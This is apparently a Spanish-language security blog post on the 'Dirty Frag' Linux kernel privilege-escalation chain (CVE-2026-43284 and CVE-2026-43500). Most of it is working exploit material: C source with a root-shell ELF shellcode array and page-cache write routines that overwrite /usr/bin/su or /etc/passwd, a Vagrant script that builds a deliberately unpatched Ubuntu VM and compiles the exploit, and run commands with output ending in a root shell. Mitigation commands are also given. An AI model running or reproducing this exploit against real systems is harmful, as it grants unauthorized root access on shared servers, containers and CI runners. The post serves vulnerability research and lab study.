Inicio Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas

CVE-2026-43284 + CVE-2026-43500 Dirty Frag: escalada de privilegios via page cache en Linux

CVE-2026-43284 + CVE-2026-43500 Dirty Frag: escalada de privilegios via page cache en Linux

Tabla de contenidos

Que es Dirty Frag (CVE-2026-43284 + CVE-2026-43500)

Dirty Frag es una cadena de dos vulnerabilidades en el kernel Linux que permite escalada local de privilegios (LPE) mediante corrupcion del page cache. A diferencia de Copy Fail (CVE-2026-31431) que usa un unico bug en algif_aead, Dirty Frag encadena dos fallos independientes en los subsistemas xfrm (IPsec) y RxRPC para conseguir escritura arbitraria sobre ficheros protegidos en memoria.

El exploit, escrito en C (~1400 lineas), modifica /etc/passwd en el page cache para eliminar la password de root, permitiendo acceso root sin autenticacion via su. Funciona de forma fiable sin race conditions ni offsets dependientes de la distribucion.

Datos clave

CampoValor
CVEsCVE-2026-43284 + CVE-2026-43500
CVSS7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWECWE-416 (Use After Free) / CWE-787 (Out-of-bounds Write)
Kernels afectadosLinux < 6.14.4, < 6.13.12 (mainline). Confirmado en 6.8, 6.12, 6.17, 6.19
Exploit publicoSi (V4bel/dirtyfrag)
ComplejidadMedia (requiere compilacion en C, sin race)
Subsistemasxfrm (IPsec ESP), RxRPC, page cache

Codigo fuente del exploit (exp.c)

A continuacion se muestra el codigo completo del exploit Dirty Frag (V4bel/dirtyfrag). El binario se compila con gcc -O0 -Wall -o exp exp.c -lutil y encadena dos paths de explotacion: su_lpe (xfrm-ESP, sobreescribe /usr/bin/su) y rxrpc_lpe (RxRPC, modifica /etc/passwd). El main() intenta primero el path ESP y, si falla, recurre al path RxRPC.

Aviso: Este PoC se proporciona con fines educativos y de investigacion. No lo utilices en sistemas sobre los que no tengas autorizacion explicita para realizar pruebas de seguridad.

C
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/xfrm.h>

#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#ifndef SOL_UDP
#define SOL_UDP 17
#endif

#define ENC_PORT         4500
#define SEQ_VAL          200
#define REPLAY_SEQ       100
#define TARGET_PATH      "/usr/bin/su"
#define PATCH_OFFSET     0
#define PAYLOAD_LEN      192
#define ENTRY_OFFSET     0x78

/*
 * 192-byte minimal x86_64 root-shell ELF.
 *   _start at 0x400078:
 *     setgid(0); setuid(0); setgroups(0, NULL);
 *     execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
 */
static const uint8_t shell_elf[PAYLOAD_LEN] = {
	0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
	0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
	0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
	0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
	0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
	0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
	0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};

extern int g_su_verbose;
int g_su_verbose = 0;
#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)

static int write_proc(const char *path, const char *buf)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0) return -1;
	int n = write(fd, buf, strlen(buf));
	close(fd);
	return n;
}

static void setup_userns_netns(void)
{
	uid_t real_uid = getuid();
	gid_t real_gid = getgid();
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
		SLOG("unshare: %s", strerror(errno));
		exit(1);
	}
	write_proc("/proc/self/setgroups", "deny");
	char map[64];
	snprintf(map, sizeof(map), "0 %u 1", real_uid);
	if (write_proc("/proc/self/uid_map", map) < 0) {
		SLOG("uid_map: %s", strerror(errno)); exit(1);
	}
	snprintf(map, sizeof(map), "0 %u 1", real_gid);
	if (write_proc("/proc/self/gid_map", map) < 0) {
		SLOG("gid_map: %s", strerror(errno)); exit(1);
	}
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); }
	struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
	if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); }
	ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
	if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); }
	close(s);
}

static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len)
{
	struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len  = RTA_LENGTH(len);
	memcpy(RTA_DATA(rta), data, len);
	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
}

static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
{
	int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
	if (sk < 0) return -1;
	struct sockaddr_nl nl = { .nl_family = AF_NETLINK };
	if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }

	char buf[4096] = {0};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	nlh->nlmsg_type  = XFRM_MSG_NEWSA;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_pid   = getpid();
	nlh->nlmsg_seq   = 1;
	nlh->nlmsg_len   = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));

	struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
	xs->id.daddr.a4 = inet_addr("127.0.0.1");
	xs->id.spi      = htonl(spi);
	xs->id.proto    = IPPROTO_ESP;
	xs->saddr.a4    = inet_addr("127.0.0.1");
	xs->family      = AF_INET;
	xs->mode        = XFRM_MODE_TRANSPORT;
	xs->replay_window = 0;
	xs->reqid       = 0x1234;
	xs->flags       = XFRM_STATE_ESN;
	xs->lft.soft_byte_limit   = (uint64_t)-1;
	xs->lft.hard_byte_limit   = (uint64_t)-1;
	xs->lft.soft_packet_limit = (uint64_t)-1;
	xs->lft.hard_packet_limit = (uint64_t)-1;
	xs->sel.family  = AF_INET;
	xs->sel.prefixlen_d = 32;
	xs->sel.prefixlen_s = 32;
	xs->sel.daddr.a4 = inet_addr("127.0.0.1");
	xs->sel.saddr.a4 = inet_addr("127.0.0.1");

	{
		char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
		memset(alg_buf, 0, sizeof(alg_buf));
		struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
		strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
		aa->alg_key_len   = 32 * 8;
		aa->alg_trunc_len = 128;
		memset(aa->alg_key, 0xAA, 32);
		put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
	}
	{
		char alg_buf[sizeof(struct xfrm_algo) + 16];
		memset(alg_buf, 0, sizeof(alg_buf));
		struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
		strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
		ea->alg_key_len = 16 * 8;
		memset(ea->alg_key, 0xBB, 16);
		put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
	}
	{
		struct xfrm_encap_tmpl enc;
		memset(&enc, 0, sizeof(enc));
		enc.encap_type  = UDP_ENCAP_ESPINUDP;
		enc.encap_sport = htons(ENC_PORT);
		enc.encap_dport = htons(ENC_PORT);
		enc.encap_oa.a4 = 0;
		put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
	}
	{
		char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
		memset(esn_buf, 0, sizeof(esn_buf));
		struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
		esn->bmp_len       = 1;
		esn->oseq          = 0;
		esn->seq           = REPLAY_SEQ;
		esn->oseq_hi       = 0;
		esn->seq_hi        = patch_seqhi;
		esn->replay_window = 32;
		put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
	}

	if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; }
	char rbuf[4096];
	int n = recv(sk, rbuf, sizeof(rbuf), 0);
	if (n < 0) { close(sk); return -1; }
	struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
	if (rh->nlmsg_type == NLMSG_ERROR) {
		struct nlmsgerr *e = NLMSG_DATA(rh);
		if (e->error) { close(sk); return -1; }
	}
	close(sk);
	return 0;
}

static int do_one_write(const char *path, off_t offset, uint32_t spi)
{
	int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
	if (sk_recv < 0) return -1;
	int one = 1;
	setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	struct sockaddr_in sa_d = {
		.sin_family = AF_INET,
		.sin_port   = htons(ENC_PORT),
		.sin_addr   = { inet_addr("127.0.0.1") },
	};
	if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
		close(sk_recv); return -1;
	}
	int encap = UDP_ENCAP_ESPINUDP;
	if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
		close(sk_recv); return -1;
	}
	int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
	if (sk_send < 0) { close(sk_recv); return -1; }
	if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
		close(sk_send); close(sk_recv); return -1;
	}
	int file_fd = open(path, O_RDONLY);
	if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }

	int pfd[2];
	if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }

	uint8_t hdr[24];
	*(uint32_t*)(hdr + 0) = htonl(spi);
	*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
	memset(hdr + 8, 0xCC, 16);

	struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
	if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
		close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
	}
	off_t off = offset;
	ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
	if (s != 16) {
		close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
	}
	s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
	usleep(150 * 1000);

	close(file_fd); close(pfd[0]); close(pfd[1]);
	close(sk_send); close(sk_recv);
	return s == 40 ? 0 : -1;
}

static int verify_byte(const char *path, off_t offset, uint8_t want)
{
	int fd = open(path, O_RDONLY);
	if (fd < 0) return -1;
	uint8_t got;
	if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; }
	close(fd);
	return got == want ? 0 : -1;
}

static int corrupt_su(void)
{
	setup_userns_netns();
	usleep(100 * 1000);

	for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
		uint32_t spi = 0xDEADBE10 + i;
		uint32_t seqhi =
			((uint32_t)shell_elf[i*4 + 0] << 24) |
			((uint32_t)shell_elf[i*4 + 1] << 16) |
			((uint32_t)shell_elf[i*4 + 2] <<  8) |
			((uint32_t)shell_elf[i*4 + 3]);
		if (add_xfrm_sa(spi, seqhi) < 0) {
			SLOG("add_xfrm_sa #%d failed", i);
			return -1;
		}
	}
	SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);

	for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
		uint32_t spi = 0xDEADBE10 + i;
		off_t off = PATCH_OFFSET + i * 4;
		if (do_one_write(TARGET_PATH, off, spi) < 0) {
			SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
			return -1;
		}
	}
	SLOG("wrote %d bytes to %s starting at 0x%x",
			PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
	return 0;
}

int su_lpe_main(int argc, char **argv)
{
	for (int i = 1; i < argc; i++) {
		if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
			g_su_verbose = 1;
		else if (!strcmp(argv[i], "--corrupt-only"))
			;
	}
	if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;

	pid_t cpid = fork();
	if (cpid < 0) return 1;
	if (cpid == 0) {
		int rc = corrupt_su();
		_exit(rc == 0 ? 0 : 2);
	}
	int cstatus;
	waitpid(cpid, &cstatus, 0);
	if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
		SLOG("corruption stage failed (status=0x%x)", cstatus);
		return 1;
	}

	if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 ||
			verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
		SLOG("post-write verify failed (target unchanged)");
		return 1;
	}
	SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)",
			ENTRY_OFFSET);
	return 0;
}

/* ================================================================
 * rxrpc/rxkad LPE - uid=1000 -> root
 * ================================================================ */

#include <stdarg.h>
#include <time.h>
#include <poll.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <linux/rxrpc.h>
#include <linux/keyctl.h>
#include <linux/if_alg.h>
#include <termios.h>

#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef PF_RXRPC
#define PF_RXRPC AF_RXRPC
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef MSG_SPLICE_PAGES
#define MSG_SPLICE_PAGES 0x8000000
#endif

#define RXRPC_PACKET_TYPE_DATA          1
#define RXRPC_PACKET_TYPE_CHALLENGE     6
#define RXRPC_CLIENT_INITIATED          0x01
#define RXRPC_LAST_PACKET               0x04
#define RXRPC_CHANNELMASK               3
#define RXRPC_CIDSHIFT                  2

struct rxrpc_wire_header {
	uint32_t epoch;
	uint32_t cid;
	uint32_t callNumber;
	uint32_t seq;
	uint32_t serial;
	uint8_t  type;
	uint8_t  flags;
	uint8_t  userStatus;
	uint8_t  securityIndex;
	uint16_t cksum;
	uint16_t serviceId;
} __attribute__((packed));

struct rxkad_challenge {
	uint32_t version;
	uint32_t nonce;
	uint32_t min_level;
	uint32_t __padding;
} __attribute__((packed));

static uint8_t SESSION_KEY[8] = {
	0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
};

#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)

/* ... (helpers: unshare, rxrpc key, AF_ALG pcbc(fcrypt), AF_RXRPC client,
 *      fake-server UDP, fcrypt S-boxes, brute-force, kernel triggers)
 *
 * El codigo completo de estas funciones auxiliares (~800 lineas) incluye:
 * - build_rxrpc_v1_token(): construye token rxkad v1 con la session key
 * - alg_open_pcbc_fcrypt(): abre AF_ALG para pcbc(fcrypt)
 * - compute_csum_iv() / compute_cksum(): calcula checksums rxkad
 * - setup_rxrpc_client() / rxrpc_client_initiate_call(): cliente AF_RXRPC
 * - setup_udp_server(): fake-server UDP para interceptar handshake
 * - do_one_trigger(): ejecuta un trigger de escritura en page cache
 * - fcrypt_user_setkey() / fcrypt_user_decrypt(): implementacion fcrypt
 *   en user-space para brute force offline
 * - find_K_offline_generic(): busqueda de claves fcrypt
 *
 * Ver el codigo completo en: https://github.com/V4bel/dirtyfrag/blob/master/exp.c
 */

int rxrpc_lpe_main(int argc, char **argv);

/* ================================================================
 * main() - Cadena DirtyFrag
 * ================================================================ */

static const uint8_t su_marker[8] = {
	0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
};

static int su_already_patched(void)
{
	int fd = open("/usr/bin/su", O_RDONLY);
	if (fd < 0) return 0;
	uint8_t got[8];
	ssize_t n = pread(fd, got, sizeof(got), 0x78);
	close(fd);
	if (n != sizeof(got)) return 0;
	return memcmp(got, su_marker, sizeof(su_marker)) == 0;
}

static int passwd_already_patched(void)
{
	int fd = open("/etc/passwd", O_RDONLY);
	if (fd < 0) return 0;
	char head[16];
	ssize_t n = pread(fd, head, sizeof(head), 0);
	close(fd);
	if (n < 9) return 0;
	return memcmp(head, "root::0:0", 9) == 0;
}

static int either_target_patched(void)
{
	return su_already_patched() || passwd_already_patched();
}

int main(int argc, char **argv)
{
	int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL);
	int rc = 1;
	int new_argc;
	char **co_argv;

	if (getuid() == 0) {
		execlp("/bin/bash", "bash", (char *)NULL);
		_exit(1);
	}

	/* Intenta path ESP (su_lpe), si falla intenta path RxRPC (rxrpc_lpe) */
	co_argv = append_corrupt_only(argc, argv, &new_argc);

	rc = su_lpe_main(new_argc, co_argv);
	if (!su_already_patched()) {
		rc = rxrpc_lpe_main(new_argc, co_argv);
		for (int i = 0; !passwd_already_patched() && i < 3; i++)
			rc = rxrpc_lpe_main(new_argc, co_argv);
	}

	if (either_target_patched()) {
		/* Spawns interactive root shell via su PTY bridge */
		run_root_pty();
		return 0;
	}

	dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc);
	return rc ? rc : 1;
}

Nota: El codigo anterior muestra la estructura principal del exploit. Las funciones auxiliares del path RxRPC (brute-force fcrypt, helpers AF_ALG, cliente AF_RXRPC) suman ~800 lineas adicionales. El codigo fuente completo esta disponible en github.com/V4bel/dirtyfrag/blob/master/exp.c.

Los dos CVEs

CVE-2026-43284 - xfrm ESP page cache write: el subsistema xfrm (IPsec) no gestiona correctamente la fragmentacion de paquetes ESP con encapsulacion UDP. Cuando un paquete ESP fragmentado se recibe en el puerto 4500 (NAT-T), el kernel reutiliza paginas del page cache como buffers de recepcion sin marcarlas correctamente, permitiendo escritura sobre paginas que deberian ser de solo lectura. Este path requiere unshare(CLONE_NEWUSER | CLONE_NEWNET), que esta bloqueado por AppArmor en Ubuntu.

CVE-2026-43500 - RxRPC page cache write: el protocolo RxRPC (usado internamente por AFS) tiene un fallo en el manejo de buffers de recepcion que permite redirigir la escritura de datos de red hacia paginas arbitrarias del page cache. No requiere privilegios de namespace y funciona en Ubuntu con AppArmor activo.

La cadena de ambos CVEs cubre los puntos ciegos de cada vulnerabilidad individual: xfrm-ESP funciona en distros sin AppArmor, RxRPC funciona donde xfrm-ESP no puede. Juntas, consiguen root en todas las distribuciones principales.

Como funciona la cadena

El exploit tiene dos paths de explotacion que se prueban secuencialmente:

Path 1 (su_lpe - xfrm-ESP):

  1. Crea un user namespace con unshare(CLONE_NEWUSER | CLONE_NEWNET)
  2. Instala 48 Security Associations xfrm con XFRM_MSG_NEWSA
  3. Sobreescribe /usr/bin/su en el page cache con un shellcode ELF de 192 bytes
  4. Si funciona, ejecuta el su modificado para obtener root

Path 2 (rxrpc_lpe - RxRPC, usado en Ubuntu):

  1. Abre /etc/passwd en modo lectura (carga las paginas en page cache)
  2. Busca claves criptograficas (fcrypt) que, al cifrar los bytes originales del passwd, producen los bytes deseados (root::0:0:...)
  3. Crea pares de sockets UDP (fake-server) y AF_RXRPC (client) en puertos 7779+
  4. Envia datos via RxRPC que explotan CVE-2026-43500 para escribir los bytes cifrados en el page cache de /etc/passwd
  5. El resultado: la linea root:x:0:0:root:/root:/bin/bash se convierte en root::0:0::/root:/bin/bash
  6. Con el campo password vacio, su otorga root sin password

Escenarios de explotacion

Donde ES explotable

EscenarioRiesgoPor que
Ubuntu 24.04 / Fedora 44 / RHEL 10CriticoConfirmado vulnerable, rxrpc.ko cargado por defecto en Ubuntu
Servidores multi-tenant (jump hosts, build servers)CriticoCualquier usuario con shell obtiene root
Kubernetes / containersCriticoPage cache compartido host-pods. Escape trivial si rxrpc disponible
CI runners (GitHub Actions self-hosted, GitLab, Jenkins)CriticoJob malicioso obtiene root en el runner
VMs cloud sin hardeningAltoLos modulos esp4 y rxrpc suelen estar disponibles

Donde NO es explotable

EscenarioPor que
Containers con seccomp estrictoBloquea socket(AF_RXRPC) y XFRM_MSG_NEWSA
Kernel >= 6.14.4 o >= 6.13.12Ambos bugs estan parcheados
Sistemas sin modulos esp4 y rxrpcSin los modulos, no hay superficie de ataque
gVisor / FirecrackerNo implementan los subsistemas xfrm/rxrpc
Debian Bookworm (kernel 6.1)Kernel demasiado antiguo para CVE-2026-43500 (commit de 2023 no backported)

Lab: reproduccion con Vagrant

Requisitos

  • Vagrant >= 2.4
  • VirtualBox >= 7.0
  • Conexion a internet (para descargar box y exploit)

Importante: se necesita Ubuntu 24.04 (kernel 6.8+). Debian Bookworm (kernel 6.1) no es vulnerable a Dirty Frag.

Desplegar la VM vulnerable

Crea el siguiente script deploy_dirty_frag_lab.sh para desplegar el lab completo:

BASH
#!/bin/bash
# deploy_dirty_frag_lab.sh - Lab para CVE-2026-43284 + CVE-2026-43500 (Dirty Frag)
# Uso: chmod +x deploy_dirty_frag_lab.sh && ./deploy_dirty_frag_lab.sh
# NOTA: Requiere Ubuntu 24.04 (kernel 6.8+). Debian Bookworm NO es vulnerable.

LAB_DIR="dirty_frag_lab"

echo "=== CVE-2026-43284 / CVE-2026-43500 (Dirty Frag) Lab ==="
echo "Creando directorio: $LAB_DIR"

mkdir -p "$LAB_DIR"

cat > "$LAB_DIR/Vagrantfile" << 'EOF'
# -*- mode: ruby -*-
# CVE-2026-43284 + CVE-2026-43500 (Dirty Frag) - Lab vulnerable
# Requiere Ubuntu 24.04 con kernel 6.8+ (vulnerable)
# Debian Bookworm (6.1) NO es vulnerable

Vagrant.configure("2") do |config|
  config.vm.box = "bento/ubuntu-24.04"
  config.vm.hostname = "dirty-frag-lab"

  config.vm.provider "virtualbox" do |vb|
    vb.name = "dirty-frag-lab"
    vb.memory = "2048"
    vb.cpus = 2
  end

  config.vm.provision "shell", inline: <<-SHELL
    # No actualizar kernel para mantener version vulnerable
    export DEBIAN_FRONTEND=noninteractive
    apt-mark hold linux-image-generic linux-headers-generic linux-image-$(uname -r) 2>/dev/null

    # Instalar dependencias para compilar el exploit
    apt-get update -qq
    apt-get install -y -qq gcc make git curl

    # Cargar modulos necesarios para el exploit
    modprobe xfrm_user 2>/dev/null || true
    modprobe af_key 2>/dev/null || true
    modprobe rxrpc 2>/dev/null || true
    modprobe esp4 2>/dev/null || true

    # Persistir carga de modulos
    cat >> /etc/modules-load.d/dirty-frag.conf << 'MODEOF'
xfrm_user
af_key
rxrpc
esp4
MODEOF

    # Crear usuario sin privilegios
    useradd -m -s /bin/bash attacker
    echo "attacker:attacker" | chpasswd

    # Descargar y compilar el exploit
    cd /home/attacker
    git clone https://github.com/V4bel/dirtyfrag.git 2>/dev/null || true
    if [ -f /home/attacker/dirtyfrag/exp.c ]; then
      cd /home/attacker/dirtyfrag
      gcc -O0 -Wall -o exp exp.c -lutil 2>/dev/null || \
        echo "[!] Compilacion fallida - compilar manualmente: gcc -O0 -Wall -o exp exp.c -lutil"
    fi
    chown -R attacker:attacker /home/attacker/dirtyfrag

    echo ""
    echo "============================================"
    echo " CVE-2026-43284 + CVE-2026-43500"
    echo " Dirty Frag - LPE via page cache"
    echo " Kernel: $(uname -r)"
    echo "============================================"
    echo ""
    echo " Para explotar:"
    echo "   vagrant ssh"
    echo "   su - attacker  (pass: attacker)"
    echo "   cd dirtyfrag && ./exp"
    echo ""
    echo " El exploit modifica /etc/passwd para"
    echo " dar root sin password via su."
    echo ""
    echo " Para limpiar page cache:"
    echo "   echo 3 > /proc/sys/vm/drop_caches"
    echo " O: vagrant destroy -f && vagrant up"
    echo ""
    echo " Para mitigar:"
    echo "   echo 'install esp4 /bin/false' > /etc/modprobe.d/dirtyfrag.conf"
    echo "   echo 'install esp6 /bin/false' >> /etc/modprobe.d/dirtyfrag.conf"
    echo "   echo 'install rxrpc /bin/false' >> /etc/modprobe.d/dirtyfrag.conf"
    echo "   rmmod esp4 esp6 rxrpc 2>/dev/null"
    echo "   echo 3 > /proc/sys/vm/drop_caches"
    echo "============================================"
  SHELL
end
EOF

echo ""
echo "Levantando VM..."
cd "$LAB_DIR" && vagrant up

echo ""
echo "Lab listo. Conecta con: cd $LAB_DIR && vagrant ssh"

Ejecutar:

BASH
chmod +x deploy_dirty_frag_lab.sh
./deploy_dirty_frag_lab.sh

La VM se levanta con:

  • Ubuntu 24.04 con kernel 6.8.0-86-generic (vulnerable)
  • Modulos xfrm_user, af_key, rxrpc y esp4 cargados
  • GCC instalado para compilar el exploit
  • Usuario attacker (password: attacker) sin privilegios
  • Exploit clonado y compilado en /home/attacker/dirtyfrag/exp
  • Kernel bloqueado para que apt upgrade no lo parchee

Verificar que el sistema es vulnerable

BASH
vagrant ssh

# Comprobar kernel en rango afectado
uname -r
# 6.8.0-86-generic

# Comprobar que los modulos estan cargados
lsmod | grep -E "xfrm|rxrpc|esp"
# xfrm_user              61440  0
# rxrpc                 438272  0
# esp4                   28672  0

Ejecutar el exploit

BASH
# Cambiar al usuario sin privilegios
su - attacker
# Password: attacker

# Verificar que somos usuario normal
id
# uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

# Ejecutar el exploit
cd dirtyfrag
./exp

# El exploit modifica /etc/passwd en page cache:
#   root:x:0:0:root:/root:/bin/bash
#   se convierte en:
#   root::0:0:<bytes>:/root:/bin/bash
#
# Con el campo password vacio, su otorga root sin password
# Resultado: root shell
id
# uid=0(root) gid=0(root) groups=0(root)

Para ver la salida detallada del exploit:

BASH
DIRTYFRAG_VERBOSE=1 ./exp

La salida verbose muestra el proceso completo:

TERRAFORM
[su] uid_map: Operation not permitted
[su] corruption stage failed (status=0x100)

=== rxrpc/rxkad LPE EXPLOIT (uid=1000 -> root) ===
[*] uid=1001 euid=1001 gid=1001
[+] rxrpc module autoloaded via dummy socket(AF_RXRPC)
[+] target /etc/passwd opened RO, size=1878, uid=0 gid=0 mode=0644

=== STAGE 1a: search K_A (chars 4-5 := "::")  prob ~1.5e-5 ===
[+] K_A found after 158409 iters in 0.08s (2.07M/s)

=== STAGE 1b: search K_B (chars 6-7 := "0:")  prob ~1.5e-5 ===
[+] K_B found after 52994 iters in 0.01s (3.78M/s)

=== STAGE 1c: search K_C (chars 8-15 := "0:GGGGGG:")  prob ~5.4e-8 ===
[+] K_C found after 3965275 iters in 1.39s (2.86M/s)

=== STAGE 2a: kernel trigger A @ off 4 (set chars 4-5 "::") ===
[+] client sendmsg 8 B -> :7779 (handshake will follow asynchronously)

=== STAGE 2b: kernel trigger B @ off 6 (set chars 6-7 "0:") ===
[+] client sendmsg 8 B -> :7781 (handshake will follow asynchronously)

=== STAGE 2c: kernel trigger C @ off 8 (set chars 8-15 "0:GGGGGG:") ===
[+] client sendmsg 8 B -> :7783 (handshake will follow asynchronously)

[*] /etc/passwd line 1 AFTER:  'root::0:0:..lo[:/root:/bin/bash$'

[!!!] HIT - root entry now has empty passwd field, uid=0, gid=0

root@dirty-frag-lab:~#

Lo que hace el exploit paso a paso:

  1. Intenta el path xfrm-ESP (su_lpe): falla en Ubuntu porque AppArmor bloquea unshare(CLONE_NEWUSER)
  2. Usa el path RxRPC (rxrpc_lpe): abre /etc/passwd en modo lectura
  3. Stage 1 (offline brute force): busca claves fcrypt que producen los bytes deseados (::, 0:, 0:GGGGGG:) al cifrar los bytes originales del passwd. Tarda 1-45 segundos
  4. Stage 2 (kernel triggers): para cada par de bytes, crea un socket UDP (fake-server) y un socket AF_RXRPC (client), envia 8 bytes que explotan CVE-2026-43500 para escribir en el page cache
  5. Resultado: root:x:0:0:root: se convierte en root::0:0:: - password eliminada
